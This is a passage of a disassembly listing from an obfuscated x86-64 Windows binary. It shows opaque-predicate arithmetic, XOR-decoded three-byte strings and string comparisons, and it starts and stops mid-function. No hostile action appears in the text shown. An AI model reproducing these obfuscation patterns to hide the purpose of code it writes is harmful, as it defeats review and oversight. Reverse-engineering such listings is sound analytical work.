lea ecx, [rdi + r12]
movsx eax, byte [0x14001a004]
lea ecx, [rcx + rdi*2]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d3af
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000d3af
mov dword [rbp - 0x80], r14d
mov ebx, dword [rsp + 0x30]
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0x80]
test eax, eax
je 0x14000d776
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d3a6
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
jne 0x14000d776
mov r11, qword [rbp - 0x68]
jmp 0x14000ebe3
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d2f0
movsx eax, byte [0x14001a004]
mov ebx, dword [rsp + 0x30]
add eax, ebx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0x80], eax
jmp 0x14000d2f4
movsx eax, byte [0x14001a004]
mov r9d, dword [rsp + 0x64]
add eax, r9d
add eax, ebx
movsx ecx, byte [0x14001a003]
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000f07a
movsx eax, byte [0x14001a004]
add eax, r9d
mov ecx, dword [rsp + 0x60]
lea eax, [rax + rcx*2]
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d4da
movsx edx, byte [0x14001a340]
imul edx, edi
shl edx, 2
sub edx, r12d
add edx, r13d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000d4da
mov dword [rbp - 0x10], r14d
xor r9d, r9d
jmp 0x14000d53a
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d52f
movsx eax, byte [0x14001a004]
add eax, dword [rsp + 0x30]
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si edx, xmm0
mov dword [rbp - 0x10], edx
jmp 0x14000d532
mov edx, dword [rbp - 0x10]
xor r9d, r9d
cmp r9d, edx
jge 0x14000d55a
movzx eax, word [0x1400136f4]
mov word [rbp - 0x34], ax
movzx eax, byte [0x1400136f6]
mov byte [rbp - 0x32], al
lea rcx, [rbp - 0x34]
mov qword [rsp + 0x68], rcx
jmp 0x14000d55f
mov rcx, qword [rsp + 0x68]
movzx eax, byte [rcx + 2]
test al, al
je 0x14000d573
xor byte [rcx], 0x39
xor byte [rcx + 1], 0x3a
xor al, 0x3b
mov byte [rcx + 2], al
mov r13, qword [rsp + 0x38]
mov r11, qword [rbp - 0x68]
mov rax, qword [r11 + r13*8]
mov r8, rcx
sub r8, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14000d5a3
inc rax
test ecx, ecx
jne 0x14000d590
mov r10d, dword [rsp + 0x44]
test edx, edx
jne 0x14000d5ba
lea eax, [r10 + 1]
cmp eax, dword [rbp - 0x54]
mov edx, 1
jl 0x14000d5bd
mov rdx, r9
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d702
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000d702
mov dword [rbp - 0xc], r14d
mov ebx, dword [rsp + 0x30]
mov edi, dword [rsp + 0x60]
lea r9d, [rdi*8]
movsx eax, byte [0x14001a004]
add eax, r9d
mov r12d, dword [rsp + 0x64]
add eax, r12d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0xc]
test eax, eax
je 0x14000d7ba
inc r10d
mov dword [rsp + 0x44], r10d
inc r13
mov qword [rsp + 0x38], r13
mov r9, qword [r11 + r13*8]
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [r9 + rdi], 0
jne 0x14000d6b2
mov rax, qword [rbp + 0x250]
cmp rdi, rax
ja 0x14000d760
lea rbx, [rbp + 0x238]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x238]
mov qword [rbp + 0x248], rdi
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
mov edi, dword [rsp + 0x60]
mov ebx, dword [rsp + 0x30]
jmp 0x14000d776
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d655
movsx eax, byte [0x14001a004]
mov ebx, dword [rsp + 0x30]
add eax, ebx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0xc], eax
jmp 0x14000d659
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x238]
call fcn.1400014c0
mov edi, dword [rsp + 0x60]
mov r11, qword [rbp - 0x68]
mov r13d, 1
inc dword [rsp + 0x44]
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
movsxd rdx, dword [rbp - 0x54]
cmp rax, rdx
mov r9, rax
mov r10d, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x70]
jl 0x14000ccc0
mov r9d, dword [rbp - 0x44]
inc r9d
mov dword [rbp - 0x44], r9d
jmp 0x14000cb80
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d77a
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
lea r8d, [rdx + rdx*2]
add r8d, r8d
call fcn.140005530
movsx ecx, al
sub r8d, ecx
call fcn.140005510
movsx ecx, al
add r8d, ecx
movsx eax, byte [0x14001a001]
add eax, r8d
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d8a4
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000d8a4
mov dword [rbp - 8], r14d
jmp 0x14000d8f5
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d8f5
movsx eax, byte [0x14001a004]
add eax, ebx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 8], eax
movsx eax, byte [0x14001a004]
add eax, dword [rsp + 0x70]
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 8]
xor edx, edx
test eax, eax
je 0x14000db66
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d9a4
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
jne 0x14000d9de
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d9de
movzx eax, byte [0x14001a004]
movzx eax, byte [0x14001a003]
movzx eax, byte [section..data]
movsd xmm0, qword [rsp + 0x50]
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d77a
movsx eax, byte [0x14001a004]
add eax, r12d
lea eax, [rax + rdi*4]
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000dab5
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000dab5
mov dword [rbp - 4], r14d
jmp 0x14000db06
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000db06
movsx eax, byte [0x14001a004]
add eax, ebx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 4], eax
lea edx, [rdi + rdi*4]
movsx eax, byte [0x14001a004]
add eax, r12d
lea eax, [rax + rdx*2]
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 4]
test eax, eax
je 0x14000d77a
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
jmp 0x14000eb85
movsx eax, byte [0x14001a004]
add eax, r9d
add eax, r12d
movsx ecx, byte [0x14001a003]
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d77a
mov byte [rbp - 0x4f], 0
lea rdx, [rbp + 0xc]
lea rcx, [rbp - 0x4f]
call fcn.140004ff0
mov r8, rax
movzx eax, byte [rax + 2]
test al, al
je 0x14000dbb6
xor byte [r8], 0x39
xor byte [r8 + 1], 0x3a
xor al, 0x3b
mov byte [r8 + 2], al
mov r11, qword [rbp - 0x68]
mov rax, qword [r11 + r13*8]
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14000dbd4
inc rax
test ecx, ecx
jne 0x14000dbc1
mov r9d, dword [rsp + 0x44]
test edx, edx
jne 0x14000dbed
lea eax, [r9 + 1]
cmp eax, dword [rbp - 0x54]
jge 0x14000dbed
mov edx, 1
jmp 0x14000dbf1
xor eax, eax
mov edx, eax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000dc83
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000dc83
mov dword [rbp - 0x30], r14d
jmp 0x14000dcd4
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000dcd4
movsx eax, byte [0x14001a004]
add eax, ebx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0x30], eax
lea ecx, [rdi + r12]
movsx eax, byte [0x14001a004]
lea ecx, [rcx + rdi*2]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0x30]
test eax, eax
je 0x14000dd67
inc r9d
mov dword [rsp + 0x44], r9d
inc r13
mov qword [rsp + 0x38], r13
mov r9, qword [r11 + r13*8]
mov rdi, 0xffffffffffffffff
nop dword [rax + rax]
inc rdi
cmp byte [r9 + rdi], 0
jne 0x14000dd20
mov rax, qword [rbp + 0x230]
cmp rdi, rax
ja 0x14000dd55
lea rbx, [rbp + 0x218]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x218]
mov qword [rbp + 0x228], rdi
jmp 0x14000d6e6
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x218]
jmp 0x14000d76d
movsx eax, byte [0x14001a004]
add eax, r12d
lea eax, [rax + rdi*2]
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d77a
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx eax, byte [0x14001a001]
add eax, edx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000de4f
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000de4f
mov dword [rbp - 0x2c], r14d
jmp 0x14000dea0
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000dea0
movsx eax, byte [0x14001a004]
add eax, ebx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0x2c], eax
imul ecx, edi, 7
movsx eax, byte [0x14001a004]
add ecx, r12d
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0x2c]
xor edx, edx
test eax, eax
je 0x14000e111
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000df54
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
jne 0x14000df8e
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000df8e
movzx eax, byte [0x14001a004]
movzx eax, byte [0x14001a003]
movzx eax, byte [section..data]
movsd xmm0, qword [rsp + 0x50]
lea edx, [rdi + rdi*4]
movsx eax, byte [0x14001a004]
add eax, r12d
lea eax, [rax + rdx*2]
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d77a
movsx eax, byte [0x14001a004]
add eax, ebx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000e067
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000e067
mov dword [rbp - 0x28], r14d
jmp 0x14000e0b8
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000e0b8
movsx eax, byte [0x14001a004]
add eax, ebx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0x28], eax
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0x28]
test eax, eax
je 0x14000d77a
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
jmp 0x14000eb85
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d77a
mov byte [rbp - 0x4e], 0
lea rdx, [rbp + 8]
lea rcx, [rbp - 0x4e]
call fcn.140001f70
mov r8, rax
movzx eax, byte [rax + 2]
test al, al
je 0x14000e15e
xor byte [r8], 0x39
xor byte [r8 + 1], 0x3a
xor al, 0x3b
mov byte [r8 + 2], al
mov r11, qword [rbp - 0x68]
mov rax, qword [r11 + r13*8]
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14000e183
inc rax
test ecx, ecx
jne 0x14000e170
xor eax, eax
test edx, edx
sete al
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000e21c
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000e21c
mov dword [rbp - 0x24], r14d
jmp 0x14000e26d
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000e26d
movsx eax, byte [0x14001a004]
add eax, ebx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0x24], eax
lea r9d, [rdi*4]
movsx eax, byte [0x14001a004]
add eax, r12d
add eax, r9d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0x24]
test eax, eax
je 0x14000e2a8
mov byte [rsp + 0x48], 1
jmp 0x14000d77a
imul ecx, edi, 7
movsx eax, byte [0x14001a004]
add ecx, r12d
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d77a
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
add edx, edx
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx eax, byte [0x14001a001]
add eax, edx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000e394
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000e394
mov dword [rbp - 0x20], r14d
jmp 0x14000e3e5
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000e3e5
movsx eax, byte [0x14001a004]
add eax, ebx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0x20], eax
movsx eax, byte [0x14001a004]
add eax, r12d
lea eax, [rax + rdi*8]
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0x20]
xor edx, edx
test eax, eax
je 0x14000e654
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm10
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000e497
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
jne 0x14000e4d1
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000e4d1
movzx eax, byte [0x14001a004]
movzx eax, byte [0x14001a003]
movzx eax, byte [section..data]
movsd xmm0, qword [rsp + 0x50]
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d77a
movsx eax, byte [0x14001a004]
mov r9d, dword [rsp + 0x70]
add eax, r9d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000e5a9
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000e5a9
mov dword [rbp - 0x1c], r14d
jmp 0x14000e5fa
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
